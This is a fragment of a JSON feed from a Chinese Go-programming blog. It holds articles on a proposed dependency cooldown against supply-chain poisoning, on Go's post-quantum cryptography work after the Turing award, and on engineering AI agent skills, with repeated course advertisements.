href=\"https://tonybai.com/2026/03/20/heartbeats-in-distributed-systems\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/20/heartbeats-in-distributed-systems\"\u003ehttps://tonybai.com/2026/03/20/heartbeats-in-distributed-systems\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在开发单体应用时，我们很少操心“服务器死没死”的问题——进程挂了就是挂了，整个服务直接 502。但在庞大的分布式系统和微服务架构中，最大的噩梦往往不是服务器彻底宕机，而是**“它悄悄死去了，但整个集群却以为它还活着”。**\u003c/p\u003e","title":"如果服务器悄悄“猝死”，你的系统还能活几秒？揭秘分布式集群的“续命”保底机制"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/19/proposal-support-dependency-cooldown-in-go-tooling\n大家好，我是Tony Bai。\n试想一个极其真实的“黑色星期五”场景：\n下班前一小时，你为了修复一个无关紧要的小 Bug，或者只是心血来潮想把项目里的依赖库清理一下，于是你顺手在终端里敲下了极其熟练的几个字符：\ngo get -u 或者 go get github.com/xxx/yyy@latest 看着屏幕上飞速滚动的下载进度条，一排排依赖被成功升级到带有 v1.x.x 的最新版本，你的心里涌起了一阵莫名的舒适与安全感。毕竟，在绝大多数程序员的潜意识里：“最新版 = 修复了所有已知漏洞 = 性能更强 = 最安全”。\n但如果我今天告诉你，你敲下的那个 @latest，其实是黑客精心为你准备的“夺命接引符”呢？\n这绝不是危言耸听。就在不久前，Go 官方 GitHub 仓库中出现了一个引发核心开发团队激烈讨论的提案：Issue #76485（在 Go 工具链中支持依赖冷却期）。\n这个提案的提出，暴露出我们在面对一种名为“供应链投毒”的高级攻击时，防御体系有多么脆弱。\n今天，我们就来硬核扒开这个提案背后的深层技术逻辑，看看 Go 官方打算如何拯救我们的依赖树。\n你以为的最新版，其实是黑客的“盲区红利” 近几年来，在 NPM、PyPI 乃至 Rust 的 Crates.io 生态中，“开源供应链投毒”早就不是什么新鲜事了。黑客们的攻击手段已经从早期的“暴力破解服务器”，演变成了极其阴险的“社会工程学与自动化投毒”。\n他们的套路简单粗暴，但杀伤力惊人：\n黑客会去盗取某个高星级开源库作者的 GitHub 账号，或者利用极具迷惑性的“拼写错误（Typosquatting，比如把 mongodb 拼成 mogodb）”发布一个恶意包。在这个包的 init() 函数里，他们悄悄塞进一段挖矿脚本、一段窃取服务器环境变量（包含 AWS Key 或数据库密码）的后门代码，然后打上一个闪亮的最新版本号，比如 v1.9.9。\n这个时候，谁最先更新依赖，谁就最先成为黑客刀下的韭菜。\n在网络安全界，有一个极其残酷的定律：恶意代码从发布到被发现，是存在一个“致命时间差”的。\n当一个投毒包被发布到全世界的代理镜像（Proxy）上，到它被安全社区的白帽子发现、逆向分析、并最终拉黑（报 CVE 漏洞），通常需要几天到几周的时间。\n在这段无人察觉的“安全盲区”里，你对“最新版”的盲目狂热，恰恰成了黑客最喜欢的传播加速器。你在帮黑客做大范围的灰度测试，而你的生产服务器，就是那只可怜的小白鼠。\nGo 的三道防线：MVS 与 SumDB 的极限，以及最后的防守漏洞 很多 Go 开发者看到这里可能会不服气：“Tony 老师，你说的都是 Node.js 和 Python 那边的事儿。我们 Go 语言的依赖管理系统可是业界公认最安全的！”\n没错，Go 语言在设计模块系统（Go Modules）时，确实比其他语言多长了几个心眼。我们目前拥有两道底层防线：\n第一道防线：MVS（最小版本选择，Minimal Version Selection）。\n当你安装一个依赖时，NPM 默认会去寻找符合语义化版本（SemVer）的“最新兼容版本”。但 Go 的 MVS 算法极其保守，它只会选择能满足所有依赖要求的最老版本（即最小版本）。这意味着，即使黑客发布了一个带毒的 v1.2.9，只要你的项目依赖树只要求 v1.2.0，Go 就绝对不会自作多情地帮你自动升级到最新版。MVS 直接掐断了黑客通过“传递依赖”悄悄感染你的路径。\n第二道防线：SumDB（校验和数据库）。\n如果你在本地偷偷篡改了某个版本的代码，Go 会在构建时大声报错。因为 Go 引入了一个基于密码学的透明日志系统 sum.golang.org。每一个包的版本只要一经发布，它的哈希值就会被永久记录在这个不可篡改的账本上。黑客无法“悄悄替换”一个已经存在的历史版本。\n既然有了 MVS 和 SumDB，我们是不是就绝对安全了？\n错！这两道防线有一个致命的盲点：它们防不住“开发者手贱”。\n如果黑客发布了一个全新的带毒版本 v2.0.0，而你为了追求新特性，或者仅仅是强迫症发作，主动在终端里敲下了 go get -u，或者 go get xxx@latest，那么 MVS 的保护伞将瞬间失效。你主动把门禁打开，把伪装成“最新版”的木马迎进了核心机房。\n终极杀招：Go 社区的建议——“让子弹飞一会儿” 既然传统的静态代码扫描防不住这种零日投毒，既然开发者总是管不住手想要升级最新版，那该怎么办？\nGo 社区在提案中给出了一种解法：“既然投毒被发现需要时间，那我们就用魔法打败魔法——给依赖强行加一个物理隔离的冷却期（Cooldown）。”\n在这个代号为 #76485 的提案中，开发者提出引入一个全新的环境变量来掌控全局：\nGOCOOLDOWN=15d go mod tidy\n这句话的底层指令是：“Go 工具链请注意，在帮我拉取或更新依赖时，请自动屏蔽掉所有发布时间少于 15 天的包。哪怕它的版本号再高、特性再诱人，只要它太年轻，一律当它不存在。”\n这个设计的底层逻辑简直绝妙：绝大多数开源投毒攻击，在极度活跃的头几天内就会被安全专家揪出来。只要你忍住不当全网第一批“小白鼠”，等这个包在开源世界里被成千上万的其他语言开发者“趟过雷”，冷却了 15 天依然安然无恙，那么它大概率就是真正安全的。\n这就是传说中的：只要我跑得足够慢，黑客的镰刀就永远割不到我。\n如何骗过时间？Go 底层的极度严谨 看到这里，有经验的高级架构师肯定会抛出一个极其尖锐的质疑：\n“等等！如果黑客在发布恶意包的时候，直接篡改 Git 的 Tag 时间，把今天的发布时间伪造成三个月前，这所谓的冷却期不就成了一个毫无防备的摆设了吗？”\n如果你能想到这层，说明你已经具备了极强的黑客攻防思维。但在提案的深度讨论中，Go 密码学包主要维护者 FiloSottile 等核心开发者，早就把黑客的这条退路给焊死了。\n在 Go 团队的设计构想中，冷却期的计算，绝对不依赖于容易被任意篡改的 Git Tag 或包作者自己声称的发布时间。\n相反，Go 将调用我们前面提到的那套坚如磐石的基础设施——SumDB。\n当全球代理（如 proxy.golang.org）第一次看到并抓取某个包的全新版本时，SumDB 会在它的密码学叶子节点上，不可撤销地打上一个**“首次观测时间戳（First-observed timestamp）”**。\n这就像是去典当行抵押物品。小偷可以随意把手表的出厂日期磨掉改成十年前，但他绝对无法欺骗典当行头顶那带时间戳的监控录像。只要 SumDB 的日志显示这块表是昨天刚拿进来的，那么 GOCOOLDOWN 就会无情地将其拦截在门外。\n至此，Go 语言的供应链防线形成了完美的逻辑闭环：\nMVS 确保了你不会被动卷入升级； SumDB 确保了历史包的绝对不可篡改； 而全新的 Cooldown（冷却期），则补齐了你主动拉取最新版时的最后一块安全护盾。 小结：在特性落地前，我们该怎么保护自己？ 虽然目前 #76485 依然在激烈的 Proposal Review（提案评审）阶段，甚至可能最终会演变成一个外部的轻量级过滤代理工具，但它透露出的底层工程哲学，值得每一位后端开发者立刻应用到日常的高并发架构中：\n立刻戒掉 @latest 的瘾：在生产环境中，尽量不要使用 go get -u 去盲目追新。稳定运行了几个月的依赖树，如果没有极其严重的 Bug 或报出的 CVE 安全漏洞，绝对不要去动它。 拥抱自动化的“安全缓冲期”：如果你在公司内部使用了 Renovate 或 Dependabot 这样的自动依赖更新机器人，立刻去后台把“最小发布年龄（Minimum Release Age）”配置项打开，设置为 7 天或 15 天。让机器替你踩刹车。 敬畏时间，建立护城河：软件工程不是追星买首发。让别人不重要的边缘业务先去帮这个开源库的最新版“踩坑”，这是一个能够扛起千万级 QPS 的资深架构师应有的沉稳与克制。 在险象环生的网络世界里，时间不仅是解药，更是我们最强大的防火墙。期待 GOCOOLDOWN 的防守理念早日普及，让我们彻底告别每天提心吊胆更新依赖的日子。\n资料链接：https://github.com/golang/go/issues/76485\n今日互动探讨\n你在公司里，遇到过因为同事“手贱升级了最新依赖”而导致生产环境崩溃，或者遭遇供应链投毒的血泪史吗？\n欢迎在评论区疯狂吐槽与分享\n认知跃迁：读懂底层机制，才能看透系统架构的本质\n从保守的 MVS，到密码学级别的 SumDB，再到今天探讨的反直觉的 GOCOOLDOWN，你会发现，Go 团队在设计这门语言的工具链时，处处透着一种对工程稳定性、安全性的极致追求和克制。\n然而，令人遗憾的是，很多开发者写了五六年的 Go 代码，却依然只停留在“会用 Gin 写写 CRUD 接口”的表层。他们对 Go 工具链底层的设计哲学、并发调度的本质、内存模型的安全逻辑一无所知。一旦线上的高并发系统出现复杂的性能瓶颈，或是遭遇底层的安全漏洞，往往束手无策，只能靠瞎猜。\n如果你渴望突破这种“熟练调包侠”的瓶颈，想要像顶级大厂架构师一样，看透 Go 语言背后的系统级设计思维，建立起坚不可摧的技术护城河——\n我的极客时间专栏 《Tony Bai·Go语言进阶课》 正是为你量身定制。\n在这 30+ 讲极其硬核的内容中，我不仅带你剥开语法糖，深挖 Goroutine 调度、Channel 哲学、内存逃逸；更会带你全面吃透 Go 的工程化实践，把构建、依赖管理背后的深层逻辑一次性讲透。\n目标只有一个：助你完成从“Go 熟练工”到“能做顶级架构决策的 Go 专家”的蜕变！\n扫描下方二维码，加入专栏。不要用战术上的勤奋，掩盖战略上的懒惰。让我们一起用架构师的视角，重新认识 Go 语言。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/19/proposal-support-dependency-cooldown-in-go-tooling/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/proposal-support-dependency-cooldown-in-go-tooling-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/19/proposal-support-dependency-cooldown-in-go-tooling\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/19/proposal-support-dependency-cooldown-in-go-tooling\"\u003ehttps://tonybai.com/2026/03/19/proposal-support-dependency-cooldown-in-go-tooling\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e试想一个极其真实的“黑色星期五”场景：\u003c/p\u003e\n\u003cp\u003e下班前一小时，你为了修复一个无关紧要的小 Bug，或者只是心血来潮想把项目里的依赖库清理一下，于是你顺手在终端里敲下了极其熟练的几个字符：\u003c/p\u003e","title":"别再无脑 go get @latest 了！你的服务器可能下一秒就被黑客接管"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/19/2025-turing-award-go-quantum-resistant-cryptography\n大家好，我是Tony Bai。\n就在昨天（2026 年 3 月 18 日），计算科学界的最高荣誉——ACM A.M. 图灵奖正式揭晓。2025 年的图灵奖，颁给了 Charles H. Bennett 和 Gilles Brassard 两位伟大的科学家，以表彰他们在**“量子密码学（Quantum Cryptography）”**和量子信息科学领域的开创性贡献。\n或许你会觉得，图灵奖、量子力学、薛定谔的猫……这些高大上的词汇离我们每天 CRUD 的业务代码太遥远了。\n但实际上，这场发端于理论物理界的革命，正在引发全球软件工程界一场最高级别的“红色预警”。\n早期的图灵奖往往颁发给操作系统、数据库或编程语言的设计者(比如Unix 之父、B 语言（C 语言前身）以及 Go 语言联合设计者的Ken Thompson)，而这次颁给量子密码学，传递出了一个极其明确的信号：传统的数字世界护城河，马上就要守不住了。\n今天，借着图灵奖揭晓的热点，我想和大家聊一个极其硬核、且关乎我们所有后端开发者未来饭碗的话题：当“量子末日（Q-Day）”逼近，作为云原生时代绝对霸主的 Go 语言，手里究竟握着怎样的“抗量子底牌”？\n你的数据，正被黑客“先存后破” 在理解 Go 团队的动作之前，我们必须先弄懂，为什么我们需要“后量子密码学（PQC）”？\n目前，我们用来保护 HTTPS 流量、验证 JWT 登录、以及签署 Git 提交的底层基石，绝大多数是 RSA 或 ECC（椭圆曲线）算法 。这些算法的安全假设，建立在大质数分解和离散对数计算极其困难的数学事实上。\n但早在 1994 年，Peter Shor 就提出了著名的 Shor 算法。该算法在数学上证明了：只要拥有一台足够规模的量子计算机，RSA 和 ECC 算法不仅能被破解，而且破解速度是指数级倍增的！\n你可能会想：“量子计算机离真正商用还早着呢，急什么？”\n黑客们可不这么想。现在全球的顶级黑客和某些国家级 APT 组织，正在疯狂执行一种名为 “Store Now, Decrypt Later”（先收集，后破解，SNDL） 的战略。\n他们把现在截获的、由 RSA/ECC 加密的核心机密数据全部存储在硬盘里。等若干年后量子计算机成熟，他们就能在一瞬间把这些历史机密全部解开。\n为了应对这场“降维打击”，美国国家标准与技术研究院（NIST）紧急发布了后量子密码学（PQC）的 FIPS 标准草案。而作为全球云基础设施底层语言的 Go，自然被推到了抗击量子危机的第一线。\nGo 团队的“抗量子”谋略 如果你经常关注 Go 社区，你会发现 Go 核心团队早就确定了引入新密码学算法的策略。在 Go 官方仓库的 Issue #64537（crypto: post-quantum support roadmap）中，现任 Go 安全团队负责人 Roland Shoemaker 和 Go 密码学专家 Filippo Valsorda 明确抛出了 Go 在面对量子危机时的三大铁律：\n绝对不当小白鼠：Go 标准库只实现那些结构已经绝对稳定、并在业界（如 WebPKI、TLS）被广泛验证的算法。那些还在实验阶段的半成品，一律拒之门外。 “按需”引入，绝不盲目：PQC 算法分为两类，一类是密钥封装（KEM，用于加密和协商密钥），一类是数字签名（Signature，用于身份认证）。 “内测”转“公测”机制：任何新的 PQC 算法，Go 都会先在 internal 包中悄悄跑几个版本，等把所有可能的开发者“误用坑”都踩平了，才会暴露为 Public API。 基于这套严谨的哲学，Go 团队打出了他们的第一张底牌：优先解决“先收集后破解”的威胁。\n在 Go 1.24 中，Go 已经通过提案 #70122 和 #69985，在底层网络库中悄然集成了 ML-KEM（即 Kyber 算法）与 X25519 的混合密钥交换机制。(注：ML-KEM 从 Go 1.23 就以实验特性引入)\n这意味着，如果你使用的是最新的 Go 版本构建的 HTTPS 服务，你的连接在建立之初，就已经具备了抵抗未来量子计算机窃听的能力！\n密钥交换的问题解决了，那么用来证明身份的**数字签名（Digital Signatures）**呢？这就引出了 Go 团队即将放出的第二张王炸。\n揭开 crypto/mldsa 的硬核源码 数字签名的重要性不言而喻：微服务之间的 mTLS 认证、固件升级包的防篡改、区块链的交易防伪，全靠它。\n就在最近，Filippo 在 Go 官方 GitHub 上正式提交了 Issue #77626（proposal: crypto/mldsa: new package），提议在即将到来的 Go 1.27 中，正式向全世界暴露 ML-DSA（NIST FIPS 204 标准）的公有 API。\n让我们剥开这层提案，看看顶级大厂架构师是如何设计这套跨时代 API 的。\n极简的参数集隔离 ML-DSA 并不是一个单一算法，它包含了不同的安全级别。Go 提案非常干净利落地定义了三个常量函数：\nfunc MLDSA44() Parameters // 推荐日常使用，安全级别相当于 AES-128 func MLDSA65() Parameters // 相当于 AES-192 func MLDSA87() Parameters // 极高安全级别，相当于 AES-256 开发者不需要去记忆复杂的参数结构，只需像拼积木一样调用。\n拒绝“半展开密钥”，将安全做到极致 如果你看源码，会发现 NewPrivateKey 除了传入 params 参数集外，只需要传入一个极短的 seed（种子字节），而不是业内的“半展开密钥（Semi-expanded keys）”。\n为什么？Filippo 在讨论中给出了让人拍案叫绝的解释：\n“半展开密钥是一个极其糟糕的格式。它不仅占用空间更大，加载速度更慢，而且更危险。我们只会支持基于 Seed 的密钥派生。”\n这体现了 Go 始终如一的安全哲学：如果一种格式有被开发者误用的风险，那就从 API 层面彻底物理隔绝它。\n巧妙应对“预哈希（External μ）”难题 传统签名时，我们通常先用 SHA256 算个 Hash，再对 Hash 签名。但 ML-DSA 的底层数学机制非常复杂，它要求对 H(H(pubkey) || 0×00 || context || message) 进行极度严苛的处理。\nGo 团队没有去破坏原有的 crypto.Signer 接口，而是极其巧妙地发明了一个“虚拟的占位符”：crypto.MLDSAMu。\n这个常量虽然属于 Hash 类型，但它不支持被实例化，调用 New() 会直接引发 Panic。它仅仅作为一个“信号标记”传递给 SignerOpts，优雅地实现了向下兼容。\n为什么我们还不能在 X.509 证书里用它？ 看到这里，很多着急的开发者（尤其是一些政企、军工背景的开发团队，正面临 CNSA 2.0 强制要求在 2025 年升级 PQC 的死命令）在 Issue 里疯狂催问：\n“API 都做好了，为什么不顺手把它集成进 crypto/x509 证书解析里？为什么还不让在 TLS 中直接使用 ML-DSA 证书？”\nFilippo 的回答，直接揭露了目前后量子时代最尴尬的一个物理瓶颈，也展现了他作为世界级密码学家的极致架构克制：\n“如果我们现在就把 ML-DSA-87 塞进 TLS，你知道一个 TLS 握手包会变得多大吗？足足 19KB！”\n大家要知道，传统的 RSA 签名不过几百字节，ECC 签名更是只有几十个字节。我们过去 30 年的互联网协议（如 TCP/IP、TLS），都是建立在“签名数据极小、传输成本几乎为零”的物理假设上的。\n如果你用 ML-DSA 给证书签名，证书链上一叠加，一次最普通的 HTTPS 握手，瞬间需要传输几十 KB 的数据。在移动网络弱网环境下，这会导致大规模的丢包、延迟飙升，甚至是全球互联网的“大塞车”。\n为了通过安全审计而罔顾物理性能，这不是高级软件工程，这是在耍流氓。\nGo 团队的判断是：我们有时间去设计更好的协议（比如使用 Merkle Tree 证书），而不是现在急功近利地把数万字节的“肥胖签名”强塞进原本轻巧的 TLS 隧道里。\n这种“不将就”的架构底线，正是 Go 语言最迷人的地方。\n小结：在不确定的未来中，拥抱底层逻辑 图灵奖颁给量子密码学，不仅是对 Bennett 和 Brassard 两位科学先驱的最高致敬，更吹响了全球软件工程界系统升级的冲锋号。\n从优先落地对抗 SNDL 攻击的 ML-KEM，到极度克制、优雅设计的 crypto/mldsa，再到坚决抵制“19KB 肥胖握手包”的底线坚守。我们看到的是 Go 语言团队对工程效率、安全性与网络物理特性的深度掌控。\n资料链接：\nhttps://awards.acm.org/about/2025-turing https://github.com/golang/go/issues/64537 https://github.com/golang/go/issues/77626 今日互动探讨\n如果在未来两年，为了抗击量子计算机，我们所有的 HTTPS 请求都要变慢 200 毫秒，甚至服务器内存消耗要翻倍，你觉得这个代价值得吗？在你的业务线里，有面临密码学升级的强制合规要求吗？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/19/2025-turing-award-go-quantum-resistant-cryptography/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/2025-turing-award-go-quantum-resistant-cryptography-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/19/2025-turing-award-go-quantum-resistant-cryptography\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/19/2025-turing-award-go-quantum-resistant-cryptography\"\u003ehttps://tonybai.com/2026/03/19/2025-turing-award-go-quantum-resistant-cryptography\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e就在昨天（2026 年 3 月 18 日），计算科学界的最高荣誉——ACM A.M. 图灵奖正式揭晓。\u003ca href=\"https://awards.acm.org/about/2025-turing\"\u003e2025 年的图灵奖\u003c/a\u003e，颁给了 Charles H. Bennett 和 Gilles Brassard 两位伟大的科学家，以表彰他们在**“量子密码学（Quantum Cryptography）”**和量子信息科学领域的开创性贡献。\u003c/p\u003e","title":"刚刚，2025图灵奖揭晓！面对即将瘫痪的传统密码学，Go 语言的“抗量子”底牌曝光"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/18/building-industrial-grade-agent-skills\n大家好，我是Tony Bai。\n我是你的老朋友，一个正在被 AI 疯狂“内卷”的程序员。\n如果你最近几个月一直在使用 Cursor、Claude Code 或者其他各种 AI 编程助手，你大概率会经历一个情绪的“过山车”：\n第一天：“卧槽，太牛了！这代码它自己就写完了！”\n第一周：“等等，这段逻辑有点怪，我得去修一下它的 Bug。”\n第一个月：“崩溃了……我给它写了 500 行的 Prompt，它还是会在同一个地方犯错。而且，它昨天明明写对了，今天稍微换个问法，它又按老套路瞎编了一遍！”\n这就是我们当前面临的真实困境。\n我们正处在一个尴尬的过渡期：AI 写代码的速度远远超过了我们人类 Review 和兜底的速度。当我们试图用更长、更复杂的 Prompt 去控制 AI 时，我们发现自己变成了一个**“疲于奔命的手工作坊老板”**。\n你精心雕琢的 Prompt，就像是一本厚厚的员工手册。你把它塞给一个记忆力只有 7 秒、充满迷之自信、速度极快的“初级天才开发”。结果就是，他偶尔能超常发挥，但大多数时候，他会把事情搞砸，而且你根本不知道他为什么搞砸。\n靠“玄学 Prompt”来驱动 AI 的时代，已经一去不复返了。\n为什么你觉得无力？因为你在用“黑盒”对抗“黑盒” 为了解决这个问题，业界开始推出各种“技能（Skill）”或者“智能体（Agent）”框架。你可以把一套工作流、最佳实践、甚至是工具库打包成一个 Skill，让 AI 在需要的时候调用。\n这听起来很完美，对吧？\n于是，你开始尝试用一些自动化工具（比如 Anthropic 的 skill-creator 或者各种自研的 Agent 平台）来帮你写 Skill。你输入一句“帮我写一个分析日志的技能”，工具咔咔咔一顿输出，生成了一堆配置文件和 Markdown。\n你测试了一下，好像能用。\n但当你把它投入真实的生产环境时，灾难开始了：\n触发率成迷： 用户明明说了“帮我看看日志”，AI 却死活不加载这个 Skill。 指令“漂移”，输出不稳定： 面对结构稍微不同的日志，它就开始胡编乱造。 薛定谔的复现率： 同一个任务，昨天它完美执行，今天你稍微换了个问法，它就彻底无视了整个 Skill 的存在，开始自由发挥。 难以迭代： 你想加个新功能，结果旧功能莫名其妙就退化了。 面对这些自动生成的代码和配置，你感到一种深深的无力感。因为对你来说，这个 Skill 是一个**“黑盒”，而生成它的那个工具，是另一个“黑盒”**。\n当系统出问题时，你甚至不知道该修改哪一行字。\n打破黑盒：把 AI 技能开发，变成严谨的软件工程 如果我们要真正驾驭 AI，让它成为我们可靠的队友，而不是一颗随时会爆的定时炸弹，我们就必须抛弃“调包侠”和“按键猴子”的心态。\n我们需要将 AI 技能（Agent Skill）的开发，视为一项严肃的软件工程。\n这也是我策划这门微专栏的初衷。我将它命名为：《打破黑盒：用工程思维构建工业级 Agent Skill》。\n在这门专栏中，我不会教你那些几个月后就会失效的“Prompt 奇技淫巧”。相反，我将带你深入底层，拆解一个高质量工业级 Skill 诞生的全生命周期。\n我的核心观点只有两个：\n不要逆势而为，必须“用 AI 制造 AI”。 面对复杂的上下文和多步推理，人类的手写能力已经触及天花板。我们必须学会熟练使用类似 skill-creator 这样的自动化工具，利用多智能体协作（Multi-Agent Collaboration）来帮我们生成、测试和优化 Skill。 绝不接受“黑盒”。 我们必须站在“上帝视角”，深刻理解这些自动化工具内部的运行机制。我们需要知道： * AI 是如何“阅读”和“加载”一个技能规范（Spec）的？ * 在自动化测试中，那个负责打分的“裁判智能体（Grader）”是按照什么标准来评判好坏的？ * 当需要评估两个版本哪个更好时，那个“盲测智能体（Blind Comparator）”是如何排除偏见，给出量化数据的？ * 最后，那个负责迭代的“分析师智能体（Analyzer）”是如何通过分析执行轨迹（Transcript），找出失败的根本原因，并给出改进建议的？ 只有看懂了裁判的打分规则，你才能写出满分的卷子。只有理解了系统底层的齿轮是如何咬合的，你才能在遇到触发率低、输出不稳定等问题时，精准地进行降维打击，而不是像无头苍蝇一样乱改 Prompt。\n你将在这个微专栏中获得什么？ 这门专栏共 7 讲，每一讲都是一次认知升级和实战演练：\n第 1 讲 | 开篇：手工作坊的终结，为什么你必须学会“用 AI 制造 AI”？ （就是你现在看到的这篇） 第 2 讲 | 拆解 Skill Spec：揭秘 AI “理解”与“按需加载”技能的底层逻辑 第 3 讲 | 启动引擎：从“模糊意图”到“高潜草稿”的自动化生成之路 第 4 讲 | 拒绝玄学：构建可量化的 Eval 断言与全自动测试流水线 第 5 讲 | 盲测与进化：让 AI 裁判自己证明“新版本比老版本强” 第 6 讲 | 榨干最后 1% 精度：用数据驱动的 Benchmark 彻底解决触发难题 第 7 讲 | 交付与升华：从打包部署到构建“人机混合”的新一代研发体系 我希望，通过这门专栏的学习，你能完成从“被 AI 牵着鼻子走的打字员”到“能够指挥一支硅基研发车队的超级架构师”的蜕变。\n在这个全新的时代，代码的生成速度不再是壁垒，如何定义规范、如何编写断言（Assertions）、如何设计基准测试（Benchmark）、如何建立评估体系（Eval），才是工程师真正的护城河。\n准备好打破黑盒，迎接挑战了吗？\n立即点击此处订阅专栏，或者扫描下方二维码，让我们一起，用工程思维，重新定义 AI 时代的开发范式！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/18/building-industrial-grade-agent-skills/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/building-industrial-grade-agent-skills-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/18/building-industrial-grade-agent-skills\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/18/building-industrial-grade-agent-skills\"\u003ehttps://tonybai.com/2026/03/18/building-industrial-grade-agent-skills\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e我是你的老朋友，一个正在被 AI 疯狂“内卷”的程序员。\u003c/p\u003e\n\u003cp\u003e如果你最近几个月一直在使用 Cursor、Claude Code 或者其他各种 AI 编程助手，你大概率会经历一个情绪的“过山车”：\u003c/p\u003e","title":"手工作坊的终结：为什么你必须把 Agent Skills 开发，变成严谨的软件工程?"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/18/why-ai-agents-act-stupid-manus-expert-pitfall-guide\n大家好，我是Tony Bai。\n如果你在过去一年里跟风写过 AI Agent（智能体），你大概率经历过这样的绝望时刻：\n你兴致勃勃地给大模型挂载了二三十个精心编写的 Function Calling（函数调用）工具，比如 read_file, search_web, execute_python……你期待它能像钢铁侠的贾维斯一样运筹帷幄。\n结果呢？面对稍微复杂一点的任务，你的 Agent 瞬间退化成一个“智障”。\n它要么在几十个工具里疯狂迷失，选错了参数导致系统报错；要么陷入无限死循环，把你的 Token 烧个精光，最后无辜地吐出一句：“抱歉，我无法完成该任务。”\n我们总以为是自己的 Prompt 